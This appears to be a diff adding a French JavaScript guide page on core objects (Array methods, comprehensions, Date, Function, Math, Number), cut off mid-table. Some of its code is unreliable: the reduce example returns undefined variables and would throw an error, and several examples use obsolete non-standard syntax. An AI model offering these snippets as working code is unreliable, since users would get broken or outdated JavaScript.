+  // ce code commence à l'indice 1 (où il y a la valeur "2"), retire 3 éléments
+  // puis insère les éléments fournis à partir de cet indice
+</pre>
+ </li>
+ <li><a href="/fr/docs/JavaScript/Reference/Objets_globaux/Array/reverse"><code>reverse()</code></a> transpose les éléments d'un tableau : le premier élément du tableau et le dernier devient le premier :
+  <pre class="brush: js">var monTableau = new Array ("1", "2", "3");
+monTableau.reverse(); // transpose le tableau qui devient [ "3", "2", "1" ]
+</pre>
+ </li>
+ <li><a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/Array/sort"><code>sort()</code></a> trie les éléments d'un tableau :
+  <pre class="brush: js">var monTableau = new Array("Air", "Eau", "Feu");
+monTableau.sort(); // trie le tableau qui devient [ "Air", "Eau", "Feu" ]
+</pre>
+
+  <p><code>sort()</code> peut également prendre en argument une fonction de rappel (<em>callback</em> en anglais) qui détermine la relation d'ordre selon laquelle les éléments sont comparés. Cette fonction compare deux valeurs et renvoie l'une de ces trois valeurs :</p>
+
+  <ul>
+   <li>Si <code>a</code> est inférieur à <code>b</code> selon la relation d'ordre : -1 (ou tout autre nombre négatif)</li>
+   <li>Si <code>a</code> est supérieur à <code>b</code> selon la relation d'ordre : 1 (ou tout autre nombre positif)</li>
+   <li>Si <code>a</code> et<code> b</code> sont égaux selon la relation d'ordre : 0.</li>
+  </ul>
+
+  <p>Par exemple, on peut utiliser la fonction ci-après pour trier selon la dernière lettre d'un tableau :</p>
+
+  <pre class="brush: js">var triFn = function(a, b){
+  if (a[a.length - 1] &lt; b[b.length - 1]) return -1;
+  if (a[a.length - 1] &gt; b[b.length - 1]) return 1;
+  if (a[a.length - 1] == b[b.length - 1]) return 0;
+}
+monTableau.sort(triFn); // tri le tableau qui deviendra
+//monTableau = ["Air","Eau","Feu"]</pre>
+ </li>
+</ul>
+
+<p>Du code compatible avec les anciens navigateurs, pour remplacer ces fonctions, est disponible sur les pages qui concernent ces fonctions. Le support des navigateurs pour ces fonctions est détaillé <a class="external" href="http://www.robertnyman.com/javascript/" title="http://www.robertnyman.com/javascript/">ici (en anglais)</a>.</p>
+
+<ul>
+ <li><a href="/fr/docs/JavaScript/Reference/Objets_globaux/Array/indexOf"><code>indexOf(élémentCherché[, indiceDebut])</code></a> permet de chercher dans le tableau l'élément <code>élémentCherché</code> et renvoie le premier indice où l'élément est trouvé.
+
+  <pre class="brush: js">var a = ['a', 'b', 'a', 'b', 'a'];
+alert(a.indexOf('b')); // Affiche 1
+// Ensuite, on cherche après la première correspondance
+alert(a.indexOf('b', 2)); // Affiche 3
+alert(a.indexOf('z')); // Affiche -1 car 'z' n'a pas été trouvé
+</pre>
+ </li>
+ <li><a href="/fr/docs/JavaScript/Reference/Global_Objects/Array/lastIndexOf"><code>lastIndexOf(élémentCherché[, indiceDebut])</code></a> fonctionne comme <code>indexOf</code>, mais cherche à partir de la fin du tableau.
+  <pre class="brush: js">var a = ['a', 'b', 'c', 'd', 'a', 'b'];
+alert(a.lastIndexOf('b')); // Affiche 5
+// Ensuite on cherche avant la dernière correspondance
+alert(a.lastIndexOf('b', 4)); // Affiche 1
+alert(a.lastIndexOf('z')); // Affiche -1
+</pre>
+ </li>
+ <li><a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/Array/forEach"><code>forEach(callback[, thisObject])</code></a>exécute la fonction <code>callback</code> sur chaque élément du tableau.
+  <pre class="brush: js">var a = ['a', 'b', 'c'];
+a.forEach(alert); // Affiche chaque élément
+</pre>
+ </li>
+ <li><a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/Array/map"><code>map(callback[, thisObject])</code></a> renvoie un nouveau tableau composé des résultats de l'application de la fonction <code>callback</code> sur chaque élément du tableau initial
+  <pre class="brush: js">var a1 = ['a', 'b', 'c'];
+var a2 = a1.map(function(item) { return item.toUpperCase(); });
+alert(a2); // affiche A,B,C
+</pre>
+ </li>
+ <li><a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/Array/filter"><code>filter(callback[, thisObject])</code></a> renvoie un nouveau tableau composé des éléments du tableau initial pour lesquels la fonction callback a renvoyé <code>true</code>.
+  <pre class="brush: js">var a1 = ['a', 10, 'b', 20, 'c', 30];
+var a2 = a1.filter(function(item) { return typeof item == 'number'; });
+alert(a2); // affiche 10,20,30
+</pre>
+ </li>
+ <li><a href="/fr/docs/JavaScript/Reference/Objets_globaux/Array/every"><code>every(callback[, thisObject])</code></a> renvoie true si la fonction <code>callback</code> renvoie <code>true</code> pour chaque élément du tableau
+  <pre class="brush: js">function isNumber(value){
+  return typeof value == 'number';
+}
+var a1 = [1, 2, 3];
+alert(a1.every(isNumber)); // Affiche true
+var a2 = [1, '2', 3];
+alert(a2.every(isNumber)); // Affiche false
+</pre>
+ </li>
+ <li><a href="/fr/docs/JavaScript/Reference/Objets_globaux/Array/some"><code>some(callback[, thisObject])</code></a> renvoie true si la fonction <code>callback</code> renvoie true pour au moins un élément du tableau
+  <pre class="brush: js">function isNumber(value){
+  return typeof value == 'number';
+}
+var a1 = [1, 2, 3];
+alert(a1.some(isNumber)); // Affiche true
+var a2 = [1, '2', 3];
+alert(a2.some(isNumber)); // Affiche true
+var a3 = ['1', '2', '3'];
+alert(a3.some(isNumber)); // Affiche false
+</pre>
+ </li>
+</ul>
+
+<p>Les méthodes ci-dessus utilisent des fonctions de rappel (<em>callback</em>) et sont appelées méthodes <em>itératives</em>. En effet, d'une certaine façon, elles bouclent sur le tableau. Chacune de ces méthodes possède un argument facultatif <code>thisObject</code>. Si cet argument est utilisé, il représentera le contexte utilisé pour le mot-clé <code>this</code> utilisé dans la fonction de rappel. S'il n'est pas utilisé et que la fonction est appelée en dehors d'un contexte objet donné <code>this</code> fera référence à l'objet global (<a href="/fr/docs/DOM/window" title="/fr/docs/DOM/window"><code>window</code></a>). Pour plus d'informations, voir la page sur <a href="/fr/docs/Web/JavaScript/Reference/Op%C3%A9rateurs/L_op%C3%A9rateur_this"><code>this</code></a>.</p>
+
+<p>En réalité, la fonction de rappel est utilisé avec trois arguments. Le premier est la valeur de l'élément, le deuxième est l'indice de l'élément et le troisième est la référence au tableau. Étant donné que JavaScript ignore les arguments en trop pour une fonction, on peut très bien appeler une fonction qui ne prend qu'un seul paramètre (comme <code>alert</code> par exemple).</p>
+
+<ul>
+ <li><a href="/fr/docs/JavaScript/Reference/Global_Objects/Array/Reduce"><code>reduce(callback[, initialValue])</code></a> applique la fonction <code>callback(valeur1, valeur2)</code> afin de réduire le tableau à une seule valeur.
+
+  <pre class="brush: js">var a = [10, 20, 30];
+var total = a.reduce(function(premier, second) { return first + second; }, 0);
+alert(total) // Affiche 60
+</pre>
+ </li>
+ <li><a href="/fr/docs/JavaScript/Reference/Global_Objects/Array/ReduceRight"><code>reduceRight(callback[, initialValue])</code></a> fonctionne comme <code>reduce()</code> mais en partant du dernier élément.</li>
+</ul>
+
+<p><code>reduce</code> et <code>reduceRight</code> sont des méthodes itératives plus compliquées. Ces méthodes sont à utiliser pour des algorithmes récursifs pour réduire une séquence d'objet en une seule valeur.</p>
+
+<h3 id="Tableaux_à_plusieurs_dimensions">Tableaux à plusieurs dimensions</h3>
+
+<p>Les tableaux peuvent être imbriqués, cela signifie qu'un tableau peut contenir un autre tableau comme élément. De cette façon, on peut créer des tableaux à plusieurs dimensions.</p>
+
+<p>Voici par exemple la création d'un tableau de dimension 2.</p>
+
+<pre class="brush: js">var a = new Array(4);
+for (i = 0; i &lt; 4; i++) {
+  a[i] = new Array(4);
+  for (j = 0; j &lt; 4; j++) {
+    a[i][j] = "[" + i + "," + j + "]";
+  }
+}
+</pre>
+
+<p>Le code précédent permettra de créer un tableau avec ces lignes :</p>
+
+<pre>Ligne 0: [0,0] [0,1] [0,2] [0,3]
+Ligne 1: [1,0] [1,1] [1,2] [1,3]
+Ligne 2: [2,0] [2,1] [2,2] [2,3]
+Ligne 3: [3,0] [3,1] [3,2] [3,3]
+</pre>
+
+<h3 id="Tableaux_et_expressions_rationnelles">Tableaux et expressions rationnelles</h3>
+
+<p>Lorsqu'un tableau provient d'une correspondance entre une expression rationnelle et une chaîne de caractères, le tableau possède des propriétés et des éléments fournissant des informations sur la correspondance. Un tel tableau peut être renvoyé par <a href="/fr/docs/JavaScript/Reference/Objets_globaux/Object/RegExp/Exec"><code>RegExp.exec()</code></a>, <a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/String/match"><code>String.match()</code></a>, et <a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/String/split"><code>String.split()</code></a>. Pour plus d'informations sur l'utilisation des tableaux et des expressions rationnelles, voir la page <a href="/fr/docs/JavaScript/Guide/Expressions_r%C3%A9guli%C3%A8res">Expressions rationnelles</a>.</p>
+
+<h3 id="Manipuler_des_objets_semblables_aux_tableaux">Manipuler des objets semblables aux tableaux</h3>
+
+<p>Certains objets JavaScript, comme <a href="/fr/docs/Web/API/NodeList"><code>NodeList</code></a> (renvoyé par la méthode <a href="/fr/docs/DOM/document.getElementsByTagName"><code>document.getElementsByTagName()</code></a>) ou <a href="/fr/docs/Web/JavaScript/Reference/Fonctions/arguments"><code>arguments</code></a> (disponible au sein d'une fonction) ressemblent à des tableaux et peuvent se comporter comme tels, en revanche ils ne possèdent pas toutes les propriétés d'un objet de type <code>Array</code>. Par exemple, l'objet <code>arguments</code> possède un attribut <a href="/fr/docs/Web/JavaScript/Reference/Fonctions/arguments/length"><code>length</code></a> mais ne possède pas la méthode <a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/Array/forEach"><code>forEach()</code></a>.</p>
+
+<p>Les méthodes génériques, disponibles à partir de JavaScript 1.6, permettent d'utiliser des méthodes de l'objet <code>Array</code> sur des objets semblables à des tableaux. Chaque méthode standard possède un équivalent disponible via l'objet <code>Array</code> lui-même. Ainsi :</p>
+
+<pre class="brush: js"> function alertArguments() {
+   Array.forEach(arguments, function(item) {
+     alert(item);
+   });
+ }
+</pre>
+
+<p>Dans les versions plus anciennes, il est possible d'émuler ces méthodes génériques en utilisant la méthode <code>call</code> fournie par les fonctions :</p>
+
+<pre class="brush: js"> Array.prototype.forEach.call(arguments, function(item) {
+   alert(item);
+ });
+</pre>
+
+<p>Ces méthodes génériques peuvent également être utilisées sur les chaînes de caractères. En effet, elles fournissent un accès séquentiel aux différents caractères, comme pour les différents éléments d'un tableau :</p>
+
+<pre class="brush: js">Array.forEach("une chaine", function(caractere) {
+   alert(caractere);
+});</pre>
+
+<p>Voici d'autres exemples utilisant ces méthodes sur des chaînes de caractères. Ces exemples utilisent également les <a href="/fr/docs/Web/JavaScript/New_in_JavaScript/1.8#Fermetures_d.27expressions">fermetures d'expressions de JavaScript 1.8</a> :</p>
+
+<pre class="brush: js">var str = 'abcdef';
+var filtreConsonnes = Array.filter(str, function (c) !(/[aeiou]/i).test(c)).join(''); // 'bcdf'
+var voyellesPrésentes = Array.some(str, function (c) (/[aeiou]/i).test(c)); // true
+var toutesVoyelles = Array.every(str, function (c) (/[aeiou]/i).test(c)); // false
+var intercaleZéros = Array.map(str, function (c) c+'0').join(''); // 'a0b0c0d0e0f0'
+var valeurNumérique = Array.reduce(str, function (c, c2) c+c2.toLowerCase().charCodeAt()-96, 0);
+// 21 (reduce() since JS v1.8)
+</pre>
+
+<p>Les méthodes <code>filter</code> et <code>map</code> ne renvoient pas directement les caractères comme faisant partie d'une même chaîne de caractères mais le résultat de l'opération sur chacun des caractères, il est donc nécessaire d'utiliser <code>join</code> pour obtenir une chaîne de caractères finale.</p>
+
+<h3 id="Tableaux_définis_par_compréhensions">Tableaux définis par compréhensions</h3>
+
+<p>À partir de JavaScript 1.7, les définitions de tableaux par compréhension permettent de construire, simplement, un tableau se basant sur le contenu d'un premier tableau. Ces compréhensions sont souvent utilisées en lieu et place des méthodes <code>map()</code> et <code>filter()</code>.</p>
+
+<p>Dans l'exemple suivant, on définit un tableau par compréhension pour qu'il contienne les doubles des éléments du premier tableau :</p>
+
+<pre class="brush: js">var nombres = [1, 2, 3, 4];
+var doubles = [i * 2 for (i of nombres)];
+alert(doubles); // Affiche 2,4,6,8
+</pre>
+
+<p>Cela est équivalent à l'opération <code>map()</code> qui suit :</p>
+
+<pre class="brush: js">var doubles = nombres.map(function(i){return i * 2;});
+</pre>
+
+<p>Les compréhensions peuvent également être utilisées afin de restreindre un tableau à certaines valeurs correspondants à un critère. On peut par exemple ne garder que les nombres pairs :</p>
+
+<pre class="brush: js">var nombres = [1, 2, 3, 21, 22, 30];
+var pairs = [i for (i of nombres) if (i % 2 === 0)];
+alert(pairs); // Affiche 2,22,30
+</pre>
+
+<p><code>filter()</code> aurait également pu être utilisé :</p>
+
+<pre class="brush: js">var pairs = nombres.filter(function(i){return i % 2 === 0;});
+</pre>
+
+<p>Les opérations du style de <code>map()</code> et <code>filter()</code> peuvent être combinées en une seule compréhension. Voici par exmple un tableau défini par compréhension qui contient les doubles des nombres pairs du premier tableau :</p>
+
+<pre class="brush: js">var nombres = [1, 2, 3, 21, 22, 30];
+var pairsDoubles = [i * 2 for (i of nombres) if (i % 2 === 0)];
+alert(pairsDoubles); // Affiche 4,44,60
+</pre>
+
+<p>Les crochets utilisés pour les définitions par compréhension permettent d'introduire une portée implicite. Les nouvelles variables (comme i dans l'exemple) sont utilisées comme si elles avaient été déclarées avec <a href="/fr/docs/Web/JavaScript/Reference/Instructions/let"><code>let</code></a>. Elles ne seront donc pas disponibles en dehors de la compréhension.</p>
+
+<p>Il n'est pas nécessaire de partir d'un tableau pour utiliser une telle définition, on peut également utiliser les <a href="/fr/docs/Web/JavaScript/Guide/iterateurs_et_generateurs">itérateurs et les générateurs</a>.</p>
+
+<p>On peut également utiliser des chaînes de caractères comme objet de départ :</p>
+
+<pre class="brush: js">var str = 'abcdef';
+var filtreConsonnes = [c for (c of str) if (!(/[aeiouAEIOU]/).test(c))  ].join(''); // 'bcdf'
+var intercaleZéros = [c+'0' for (c of str) ].join(''); // 'a0b0c0d0e0f0'
+</pre>
+
+<p>Ici aussi, il faut utiliser la méthode <code>join()</code> pour obtenir une chaîne de caractère unique en sortie.</p>
+
+<h2 id="L'objet_Boolean">L'objet <code>Boolean</code></h2>
+
+<p>L'objet <code>Boolean</code> est une « enveloppe » (ou <em>wrapper</em> en anglais) autour du type primitif booléen. La syntaxe suivante permet de créer un objet <code>Boolean</code> :</p>
+
+<pre class="brush: js">var nomObjetBooléen = new Boolean(valeur);
+</pre>
+
+<p>Attention, il ne faut pas confondre les valeurs <code>true</code> et <code>false</code> du type primitif booléen et les valeurs true et false de l'objet <code>Boolean</code>. Tout objet dont la valeur n'est pas <code>undefined</code> , <code>null</code>, <code>0</code>, <code>NaN</code>, ou la chaîne de caractères vide (y compris un objet <code>Boolean</code> dont la valeur est false) sera évalué comme <code>true</code> dans un test conditionnel. Voir l'instruction <a href="/fr/docs/Web/JavaScript/Reference/Instructions/if...else">if...else </a>pour plus d'informations.</p>
+
+<h2 id="Objet_Date">Objet <code>Date</code></h2>
+
+<p>JavaScript ne possède pas de type de données pour gérer les dates. En revanche, il est possible d'utiliser un objet <code>Date</code>, ainsi que ses méthodes, pour manipuler de telles données. L'objet<code> Date</code> possède différentes méthodes pour définir des dates, obtenir des informations sur une dates et les manipuler, il ne possède aucune propriété.</p>
+
+<p>La gestion des dates en JavaScript est similaire à celle effectuée par Java. Les deux languages partagent de nombreuses méthodes et ils stockent tous les deux les dates comme le nombre de millisecondes depuis le premier janvier 1970 à 00h00m00 UTC.</p>
+
+<p>L'intervalle qu'on peut utiliser avec l'objet <code>Date</code> est entre100 000 000 jours avant le premier janvier 1970 UTC et 100 000 000 jours après.</p>
+
+<p>Pour créer un tel objet :</p>
+
+<pre class="brush: js">var nomObjetDate = new Date([paramètres]);
+</pre>
+
+<p><code>nomObjetDate</code> est le nom de l'objet qu'on crée. Il peut être un nouvel objet à part entière ou bien la propriété d'un objet existant.</p>
+
+<p>Si on utilise le constructeur Date sans le mot-clé <code>new</code>, on obtiendra seulement la date représentée dans une chaîne de caractères.</p>
+
+<p>On peut utiliser les <code>paramètres</code> suivants :</p>
+
+<ul>
+ <li>Aucun : on crée la date et l'heure du jour : <code>aujourdhui = new Date();</code>.</li>
+ <li>Une chaîne de caractères qui représente la date au format suivant "Mois_en_anglais jour, année heures:minutes:secondes." Ainsi <code>var Noel95 = new Date("December 25, 1995 13:30:00")</code>. Il est possible de ne pas renseigner les heures, minutes et secondes : les valeurs par défaut seront nulles (0).</li>
+ <li>Un ensemble d'entiers pour l'année, le mois et le jour<code> : var Noel95 = new Date(1995, 11, 25)</code>.</li>
+ <li>Un ensemble d'entiers pour l'année, le mois, le jour, l'heure, les minutes et les secondes : <code>var Xmas95 = new Date(1995, 11, 25, 9, 30, 0);</code>.</li>
+</ul>
+
+<p><strong>Versions antérieures à JavaScript 1.2 (inclus)</strong><br>
+ L'objet <code>Date</code> fonctionne de la façon suivante :</p>
+
+<ul>
+ <li>Les dates antérieures à 1970 ne sont pas autorisées.</li>
+ <li>JavaScript se repose sur des utilitaires de gestion des dates qui dépendent de la plate-forme utilisée : on obtient donc des comportements et des résultats différents en fonction de la plate-forme sur laquelle on se situe.</li>
+</ul>
+
+<h3 id="Les_méthodes_de_l'objet_Date">Les méthodes de l'objet <code>Date</code></h3>
+
+<p>Les méthodes de l'objet <code>Date</code> sont à répartir entre quatre grandes catégories :</p>
+
+<ul>
+ <li>Les méthodes de définition <code>set...</code>, permettant de régler le jour et l'heure dans les objets <code>Date</code></li>
+ <li>Les méthodes d'accès <code>get...</code>, permettant d'obtenir les valeurs de la date et de l'heure des objets <code>Date</code></li>
+ <li>Les méthodes de conversion <code>to...</code>, qui permettent d'obtenir une mise en forme en chaîne de caractères</li>
+ <li>Les méthodes d'analyse (<em>parsing</em>) et les méthodes UTC, permettant de transformer certaines chaînes de caractères en <code>Date</code>.</li>
+</ul>
+
+<p>Les deux premières catégories permettent de définir ou d'obtenir les secondes, les minutes, les heures, le jour du mois, le jour de la semaine, les mois et les années. Il existe une méthode <code>getDay</code> pour obtenir le jour de la semaine, en revanche, il n'existe pas de méthode <code>setDay</code> car le calcul du jour de la semaine se fait automatiquement. Ces méthodes utilisent des entiers, de la façon suivante :</p>
+
+<ul>
+ <li>Les secondes et minutes : 0 à 59</li>
+ <li>Les heures : 0 à 23</li>
+ <li>Les jours : 0 (Dimanche) à 6 (Samedi)</li>
+ <li>La date : 1 to 31 (jour du mois)</li>
+ <li>Les mois : 0 (janvier) à 11 (décembre)</li>
+ <li>Les années : années depuis 1900</li>
+</ul>
+
+<p>Par exemple, si on veut définir la date suivante :</p>
+
+<pre class="brush: js">var Noel95 = new Date("December 25, 1995");
+</pre>
+
+<p>On aura alors <code>Noel95.getMonth()</code> qui renverra 11, Noel<code>95.getFullYear()</code> qui renverra 1995.</p>
+
+<p>Les méthodes <code>getTime</code> et <code>setTime</code> peuvent notamment être utilisées pour comparer des dates. La méthode <code>getTime</code> renvoie le nombre de millisecondes écoulées depuis le premier janvier 1970 00h00m00s pour un objet <code>Date</code>.</p>
+
+<p>De cette façon, le code suivant permet d'afficher le nombre de jours restants pour l'année courante :</p>
+
+<pre class="brush: js">var ajd = new Date();
+var finAnnee = new Date(1995, 11, 31, 23, 59, 59, 999); // On règle jour et mois
+finAnnee.setFullYear(ajd.getFullYear()); // On règle l'année
+var msParJour = 24 * 60 * 60 * 1000; // Nombre de millisecondes par jour
+var joursRestants = (finAnnee.getTime() - ajd.getTime()) / msParJour;
+var joursRestants = Math.round(joursRestants); //renvoie le nombre de jours restants
+</pre>
+
+<p>Dans cet exemple, on crée un objet <code>Date</code> qui contient la date du jour. Ensuite on crée un objet <code>finAnnee</code> et on fixe son année à celle du jour courant. Ensuite, en connaissant le nombre de millisecondes dans une journée, on calcule le nombre de jours entre<code> ajd</code> et <code>finAnnee</code> en utilisant la méthode <code>getTime</code> puis en arrondissant la valeur à un nombre entier.</p>
+
+<p>La méthode <code>parse</code> peut s'avérer utile lorsqu'on souhaite transformer une chaîne de caractères (en anglais, attention) en une date. L'exemple qui suit utilise les méthodes <code>parse</code> et <code>setTime</code> pour assigner une valeur de date à l'objet <code>dateIPO </code>:</p>
+
+<pre class="brush: js">var dateIPO = new Date();
+dateIPO.setTime(Date.parse("Aug 9, 1995"));
+</pre>
+
+<h3 id="Exemple_d'utilisation">Exemple d'utilisation</h3>
+
+<p>L'exemple qui suit permet de définir la fonction <code>JSClock()</code> qui renvoie l'heure au même format qu'une horloge numérique :</p>
+
+<pre class="brush: js">function JSClock() {
+  var time = new Date();
+  var heure = time.getHours();
+  var minute = time.getMinutes();
+  var seconde = time.getSeconds();
+  var temp = "" + heure;
+  temp += ((minute &lt; 10) ? ":0" : ":") + minute;
+  temp += ((seconde &lt; 10) ? ":0" : ":") + seconde;
+  return temp;
+}
+</pre>
+
+<p>La fonctionThe <code>JSClock</code> commence par créer un objet <code>Date</code> appelé <code>time</code>. Aucun argument n'est donné, c'est donc la date et l'heure courante. Ensuite, on appelle les méthodes <code>getHours</code>, <code>getMinutes</code>, et <code>getSeconds</code> pour connaître l'heure, les minutes et les secondes.</p>
+
+<p>Les trois instructions suivantes permettent de construire une chaîne de caractères avec la variable <code>temp</code>. On ajoute l'heure, puis les minutes (si celles-ci sont inférieures à 10, on rajoute un 0 devant), puis les secondes (de la même manière on rajoute un zéro devant si le nombre de secondes est inférieur à 10).</p>
+
+<h2 id="L'objet_Function">L'objet <code>Function</code></h2>
+
+<p>L'objet élémentaire <code>Function</code> définit une chaîne de caractères de code JavaScript qui doit être compilé comme une fonction.</p>
+
+<p>Pour créer un objet <code>Function</code> on peut utiliser la syntaxe suivante :</p>
+
+<pre class="brush: js">var functionNomObjet = new Function ([arg1, arg2, ... argn], corpsFonction);
+</pre>
+
+<p><code>functionNomObjet</code> est le nom d'une variable ou d'une propriété d'un objet. On peut également utiliser cette syntaxe avec un objet suivi par un nom de gestionnaire d'événements en minuscules comme <code>window.onerror</code>.</p>
+
+<p><code>arg1</code>, <code>arg2</code>, ... <code>argn</code> sont les arguments qui sont utilisés par la fonction. Chacun de ces arguments doit être une chaîne de caractères qui est un identifiant JavaScript valide (ex : "x" ou "monFormulaire".</p>
+
+<p><code>corpsFonction</code> est une chaîne de caractères définissant le code JavaScript qui doit être compilé comme le code de la fonction.</p>
+
+<p>Les objets<code> Function</code> sont évalués à chaque fois qu'ils sont utilisés. Utiliser ces objets est moins efficaces que la déclaration de fonctions qu'on appellera au sein du code. Cela est dû au fait que les fonctions déclarées sont compilées.</p>
+
+<p>En plus de la définition de fonction abordée ici, on peut également les expressions de fonction ou l'instruction <a href="/fr/docs/Web/JavaScript/Reference/Instructions/function"><code>function</code></a>. Voir la <a href="/fr/docs/Web/JavaScript/Reference">référence JavaScript</a> pour plus d'informations sur ces différentes syntaxes.</p>
+
+<p>Le code suivant assigne une fonction à la variable <code>setBGColor</code>. Cette fonction permet de définir la couleur d'arrière-plan du document courant.</p>
+
+<pre class="brush: js">var setBGColor = new Function("document.bgColor = 'antiquewhite'");
+</pre>
+
+<p>Pour appeler l'objet <code>Function</code>, on peut utiliser le nom de la variable comme une fonction. Le code qui suit exécute la fonction qui aura été assignée à la variable <code>setBGColor</code> :</p>
+
+<pre class="brush: js">var choixCouleur="antiquewhite";
+if (choixCouleur=="antiquewhite") {setBGColor()}
+</pre>
+
+<p>On peut assigner la fonction à un gestionnaire d'événements de différentes façons :</p>
+
+<ol>
+ <li>
+  <pre class="brush: js">document.form1.colorButton.onclick = setBGColor;
+</pre>
+ </li>
+ <li>
+  <pre class="brush: html">&lt;INPUT NAME="colorButton" TYPE="button"
+  VALUE="Changer la couleur de l'arrière-plan"
+  onClick="setBGColor()"&gt;
+</pre>
+ </li>
+</ol>
+
+<p>La création de la variable <code>setBGColor</code> montrée avant est similaire à la fonction suivante :</p>
+
+<pre class="brush: js">function setBGColor() {
+  document.bgColor = 'antiquewhite';
+}
+</pre>
+
+<p>Assigner une fonction à une variable est similaire à la déclaration d'une fonction, cependant il y a quelques différences :</p>
+
+<ul>
+ <li>Lorsqu'on assigne une fonction à une variable en utilisant la syntaxe  <code>var setBGColor = new Function("...")</code>, <code>setBGColor</code> est une variable dont la valeur courante est une référence à la fonction créée avec <code>new Function()</code>.</li>
+ <li>Quand on crée une fonction en utilisant la syntaxe <code>function setBGColor() {...}</code>, <code>setBGColor</code> n'est pas une variable, c'est le nom de la fonction.</li>
+</ul>
+
+<p>Il est possible d'imbriquer une fonction au sein d'une fonction. La fonction imbriquée est privée, en termes de portée, pour la fonction englobante.</p>
+
+<ul>
+ <li>La fonction imbriquée peut être utilisée à partir d'instructions seulement depuis la fonction englobante.</li>
+ <li>La fonction imbriquée peut utiliser des arguments et des variables de la fonction englobante. La fonction englobante ne peut pas utiliser les arguments et les variables de la fonction imbriquée.</li>
+</ul>
+
+<h2 id="L'objet_Math">L'objet <code>Math</code></h2>
+
+<p>L'objet élémentaire <code>Math</code> possède différentes propriétés et méthodes pour manipuler des constantes et des fonctions mathématiques. Ainsi, la propriété <code>PI</code> de cette objet possède la valeur de pi (3.141...) :</p>
+
+<pre class="brush: js">Math.PI
+</pre>
+
+<p>De la même façon, cet objet met a disposition des fonctions mathématiques qui sont des méthodes de l'objet <code>Math</code>. On retrouvera des fonctions trigonométriques, logarithmiques, exponentielles... Ainsi pour utiliser la fonction sinus, on écriera :</p>
+
+<pre class="brush: js">Math.sin(1.56)
+</pre>
+
+<p>Note : les arguments des méthodes trigonométriques de cet objet doivent être exprimés en radians.</p>
+
+<p>Le tableau suivant liste les différentes méthodes de l'objet <code>Math</code>.</p>
+
+<table class="standard-table">
+ <caption>Tableau 7.1 Méthodes de l'objet Math</caption>
+ <thead>
+  <tr>
+   <th scope="col">Méthode</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>abs</code></td>
+   <td>Valeur absolue</td>
+  </tr>
+  <tr>
+   <td><code>sin</code>, <code>cos</code>, <code>tan</code></td>
+   <td>Fonctions trigonométriques sinus, cosinus et tangente</td>
+  </tr>
+  <tr>
+   <td><code>acos</code>, <code>asin</code>, <code>atan</code>, <code>atan2</code></td>
+   <td>Fonctions trigonométriques inverses, les valeurs renvoyées sont exprimées en radians</td>
+  </tr>
+  <tr>
+   <td><code>exp</code>, <code>log</code></td>
+   <td>Les fonctions exponentielle et logarithme (naturel ou à base <code>e</code>)</td>
+  </tr>
+  <tr>
+   <td><code>ceil</code></td>
+   <td>Renvoie le plus petit entier supérieur ou égal à l'argument</td>
+  </tr>
+  <tr>
+   <td><code>floor</code></td>
+   <td>Renvoie le plus grand entier inférieur ou égal à l'argument</td>
+  </tr>
+  <tr>
+   <td><code>min</code>, <code>max</code></td>
+   <td>Renvoie le minimum ou le maximum (respectivement) des deux arguments</td>
+  </tr>
+  <tr>
+   <td><code>pow</code></td>
+   <td>La fonction puissance, le premier argument est la base et le second argument est l'exposant</td>
+  </tr>
+  <tr>
+   <td><code>random</code></td>
+   <td>Renvoie un nombre aléatoire compris entre 0 et 1</td>
+  </tr>
+  <tr>
+   <td><code>round</code></td>
+   <td>Arrondit l'argument au plus proche entier</td>
+  </tr>
+  <tr>
+   <td><code>sqrt</code></td>
+   <td>La fonction racine carrée</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Contrairement à beaucoup d'autres objets, on ne crée jamais d'objet <code>Math</code> personnalisé : on utilise toujours l'objet élémentaire <code>Math</code>.</p>
+
+<h2 id="L'objet_Number">L'objet <code>Number</code></h2>
+
+<p>L'objet <code>Number</code> possède des propriétés correspondantes aux constantes numériques. On y trouve : la valeur maximale qu'il est possible de représenter, la valeur minimale, les infinis (négatifs et positifs), et également la constante « not a number » ou NaN qui indique que la valeur n'est pas un nombre. Ces valeurs sont fixes, ne peuvent être changées et s'utilisent de la façon suivante :</p>
+
+<pre class="brush: js">var maximum = Number.MAX_VALUE;
+var minimum = Number.MIN_VALUE;
+var infiniPlus = Number.POSITIVE_INFINITY;
+var infiniMoins = Number.NEGATIVE_INFINITY;
+var nonNombre = Number.NaN;
+</pre>
+
+<p>Il faut toujours utiliser les propriétés de l'objet <code>Number</code> lui-même et non pas celles d'un objet <code>Number</code> qui aurait été créé.</p>
+
+<p>Le tableau suivant liste les différents propriétés de l'objet <code>Number</code> :</p>
+
+<table class="standard-table">
+ <caption>Tableau 7.2 Propriétés de l'objet Number</caption>
+ <thead>
+  <tr>
+   <th scope="col">Propriété</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>MAX_VALUE</code></td>
+   <td>Le plus grand nombre qu'on peut représenter</td>
+  </tr>
+  <tr>
+   <td><code>MIN_VALUE</code></td>
+   <td>Le plus petit nombre qu'on peut représenter</td>
+  </tr>
+  <tr>
+   <td><code>NaN</code></td>
+   <td>Valeur spéciale pour les valeurs non numériques</td>
+  </tr>
+  <tr>
+   <td><code>NEGATIVE_INFINITY</code></td>
+   <td>Valeur spéciale pour représenter l'infini négatif</td>
+  </tr>
+  <tr>
+   <td><code>POSITIVE_INFINITY</code></td>
+   <td>Valeur spéciale pour représenter l'infini positif</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Le prototype <code>Number</code> fournit également des méthodes pour obtenir des informations d'objets <code>Number</code>. Le tableau suivant liste ces différentes méthodes de <code>Number.prototype</code> :</p>
+
+<table class="fullwidth-table">
+ <caption>Tableau 7.3 Méthodes de Number.prototype</caption>
+ <thead>
+  <tr>
+   <th scope="col">Méthode</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>toExponential</code></td>
+   <td>Renvoie une chaîne de caractères représentant le nombre dans sa notation exponentielle.</td>
+  </tr>
+  <tr>
